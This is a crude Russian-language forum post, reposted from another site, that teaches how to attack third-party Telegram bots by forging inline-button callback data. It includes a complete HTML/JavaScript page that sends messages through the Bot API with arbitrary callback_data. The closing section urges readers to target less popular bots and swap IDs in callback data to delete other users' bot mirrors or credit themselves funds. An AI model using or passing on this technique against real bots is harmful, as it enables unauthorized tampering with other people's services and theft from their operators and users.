ВАЖНАЯ ИНФОРМАЦИЯ здаров, я доза и я спиздил статью Привет, для многих тема достаточно примитивная, но думаю кому-то будет полезно и интересно что такое callback (надо знать) Начнем с пояснения что вообще такое инлайн кнопки: Инлайн-кнопки (Inline Keyboards) — это специальные кнопки, которые прикрепляются непосредственно к сообщениям в Telegram. В отличие от обычных клавиатур бота, которые заменяют стандартную клавиатуру пользователя, инлайн-кнопки располагаются прямо под сообщением, к которому они относятся. Они позволяют пользователю взаимодействовать с ботом, не отправляя при этом текстовые команды Пример как выглядит инлайн кнопки: Так-же каждая инлайн-кнопка имеет свою callback-дату, Callback-дата (от англ. "callback data") — это невидимая, служебная информация, которая ассоциирована с инлайн-кнопкой в Telegram и отправляется боту при нажатии пользователем на эту кнопку. Это если говорить умно и правильно, но в целом, просто для понимания вам стоит понять что каждая inline кнопка имеет свою callback_data, callback_data нужна для обработки информации ботом, поэтому эта информация скрыта для обычных пользователей готовим секс Во первых, нам необходимо найти самого по себе бота которого мы будем пентестить, требования к боту: Бот имеет возможность создания зеркал Управление ботом происходит через inline-кнопки Так-же даже не стоит пробывать популярных боты по типу funstat/usersbox, поищите менее популярных ботов для пентеста После находа нужного нам бота, создаем его зеркало, думаю тут вам не нужен гайд Далее вам необходимо узнать свой тг айди, это можно сделать в боте Telegram: CHECK_MY_TG_ID_BOT А так-же для удобной отправки курл запросов создаете файл index.html(где угодно), и в него пишете такой код: хтмл залупа <!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Telegram Bot Sender</title> <style> body { font-family: Arial, sans-serif; background-color: #1a1a1a; /* Темный фон */ color: #e0e0e0; /* Светлый текст */ display: flex; justify-content: center; align-items: center; min-height: 100vh; margin: 0; padding: 20px; box-sizing: border-box; } .container { background-color: #2a2a2a; /* Чуть светлее фон для контейнера */ padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 0, 0, 0.4); width: 100%; max-width: 500px; box-sizing: border-box; border: 1px solid #444; /* Небольшая рамка */ } h1 { color: #61dafb; /* Цвет заголовка */ text-align: center; margin-bottom: 25px; font-size: 1.8em; } .form-group { margin-bottom: 20px; } label { display: block; margin-bottom: 8px; font-weight: bold; color: #bbbbbb; } input[type="text"], textarea { width: calc(100% - 20px); /* Учитываем padding */ padding: 10px; border: 1px solid #444; border-radius: 4px; background-color: #3a3a3a; /* Фон полей ввода */ color: #e0e0e0; font-size: 1em; transition: border-color 0.3s, box-shadow 0.3s; } input[type="text"]:focus, textarea:focus { border-color: #61dafb; box-shadow: 0 0 5px rgba(97, 218, 251, 0.5); outline: none; } button { background-color: #61dafb; /* Цвет кнопки */ color: #1a1a1a; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; font-size: 1.1em; font-weight: bold; width: 100%; transition: background-color 0.3s, transform 0.2s; } button:hover { background-color: #4db8d8; transform: translateY(-2px); } button:active { transform: translateY(0); } #responseMessage { margin-top: 25px; padding: 15px; border-radius: 4px; word-wrap: break-word; /* Перенос длинных слов */ white-space: pre-wrap; /* Сохранение пробелов и переносов строки */ font-family: 'Courier New', Courier, monospace; font-size: 0.9em; max-height: 200px; /* Ограничение высоты для длинных ответов */ overflow-y: auto; /* Прокрутка при переполнении */ border: 1px solid #555; } .success { background-color: #28a74533; /* Полупрозрачный зеленый */ color: #28a745; /* Зеленый текст */ border-color: #28a745; } .error { background-color: #dc354533; /* Полупрозрачный красный */ color: #dc3545; /* Красный текст */ border-color: #dc3545; } .info { background-color: #ffc10733; /* Полупрозрачный желтый */ color: #ffc107; /* Желтый текст */ border-color: #ffc107; } </style> </head> <body> <div class="container"> <h1>Telegram Bot Sender</h1> <form id="telegramForm"> <div class="form-group"> <label for="botToken">Токен Telegram бота:</label> <input type="text" id="botToken" placeholder="Введите токен бота" required> </div> <div class="form-group"> <label for="chatId">ID Чата пользователя:</label> <input type="text" id="chatId" placeholder="Введите ID чата" required> </div> <div class="form-group"> <label for="messageText">Текст сообщения:</label> <textarea id="messageText" rows="4" placeholder="Введите текст сообщения" required></textarea> </div> <div class="form-group"> <label for="inlineButtonText">Текст инлайн-кнопки:</label> <input type="text" id="inlineButtonText" placeholder="Например, 'Нажми меня'" required> </div> <div class="form-group"> <label for="inlineButtonCallbackData">Callback Data инлайн-кнопки:</label> <input type="text" id="inlineButtonCallbackData" placeholder="Например, 'my_unique_data'" required> </div> <button type="submit">Отправить сообщение</button> </form> <div id="responseMessage" class="info"></div> </div> <script> document.addEventListener('DOMContentLoaded', () => { const form = document.getElementById('telegramForm'); const botTokenInput = document.getElementById('botToken'); const chatIdInput = document.getElementById('chatId'); const messageTextInput = document.getElementById('messageText'); const inlineButtonTextInput = document.getElementById('inlineButtonText'); const inlineButtonCallbackDataInput = document.getElementById('inlineButtonCallbackData'); const responseMessageDiv = document.getElementById('responseMessage'); // Загрузка токена из localStorage при загрузке страницы const savedBotToken = localStorage.getItem('telegramBotToken'); if (savedBotToken) { botTokenInput.value = savedBotToken; responseMessageDiv.textContent = 'Токен бота загружен из локального хранилища.'; responseMessageDiv.className = 'info'; } else { responseMessageDiv.textContent = 'Введите данные для отправки сообщения.'; responseMessageDiv.className = 'info'; } form.addEventListener('submit', async (event) => { event.preventDefault(); // Предотвращаем стандартную отправку формы const botToken = botTokenInput.value.trim(); const chatId = chatIdInput.value.trim(); const messageText = messageTextInput.value.trim(); const inlineButtonText = inlineButtonTextInput.value.trim(); const inlineButtonCallbackData = inlineButtonCallbackDataInput.value.trim(); if (!botToken || !chatId || !messageText || !inlineButtonText || !inlineButtonCallbackData) { displayMessage('Пожалуйста, заполните все поля!', 'error'); return; } // Сохраняем токен в localStorage localStorage.setItem('telegramBotToken', botToken); displayMessage('Отправка сообщения...', 'info'); const apiUrl = `https://api.telegram.org/bot${botToken}/sendMessage`; const keyboard = { inline_keyboard: [ [{ text: inlineButtonText, callback_data: inlineButtonCallbackData }] ] }; const payload = { chat_id: chatId, text: messageText, reply_markup: JSON.stringify(keyboard) }; try { const response = await fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); const data = await response.json(); if (response.ok) { displayMessage('Сообщение успешно отправлено!\n' + JSON.stringify(data, null, 2), 'success'); } else { displayMessage('Ошибка при отправке сообщения Telegram:\nСтатус: ' + response.status + '\n' + JSON.stringify(data, null, 2), 'error'); } } catch (error) { displayMessage('Произошла ошибка сети или запроса: ' + error.message, 'error'); } }); function displayMessage(message, type) { responseMessageDiv.textContent = message; responseMessageDiv.className = `info ${type}`; // Добавляем класс типа } }); </script> </body> </html> После чего сохраняете файл, и в последующем открывайте его через браузер. Так-же вам необходимо скачать любой клиент который может показывать каллбек-дату кнопок, советую базовый для многих Ayugram( аюграм для макОС есть прикиньте https://github.com/AyuGram/AyuGramDesktop/releases аюграм для всех https://github.com/AyuGram/AyuGramDesktop пентестим ботов в тг хд Думаю многие уже поняли, что сам по себе пентест будет заключаться в подмене callback-даты кнопок, так-что приступим, аюграм вы уже скачали, свой айдишник узнали, и код для быстрой отправки курл запросов скопипастили. Объясняю: Сейчас у нас есть все для пентеста, сам по себе пентест будет заключаться в подмене callback-данных, тобишь, мы будем через курл запрос создавать инлайн кнопку, с нужными нам каллбек-данными, тоесть есть к примеру кнопка для удаления чужого зеркала бота, и у нее каллбек-дата что-то типа delbot:123:yes, и с этой каллбек даты мы сразу понимаем, что наш бот имеет айди 123, и если мы попробуем отправить кнопку с каллбек-датой delbot:1:yes (заменили 123 на 1, тобишь на айди чужого зеркала) то мы сможем удалить зеркало этого человека(если конечно автор бота не отсталый, и сделал проверку на то кто пытаеться удалить бота, и подобные фиксы), Покажу на супер легком примере: У нас есть несколько инлайн кнопок в нашем примере, и например я хочу отправить инлайн кнопку с каллбек-датой показа документа 456, я жму правой кнопкой мышки на эту кнопку, и жму копировать каллбек-данные, после захожу в наш index.html, и заполняю поля: Тут пример как заполнять, и пример готового заполнения После жмем кнопку отправки сообщения, и принимаем наше сообщение с инлайн кнопкой в котором каллбек-дата которая нам нужна: Это только пример, вы в свою очередь можете использовать каллбек-дату для удаления чужих зеркал у ботов, выдачи себе средств, и много чего другого, если конечно админ отсталый а данную статью спиздили у исходник статьи спизженной не мной https://teletype.in/@k1ttyf/NA8sOLEdDT1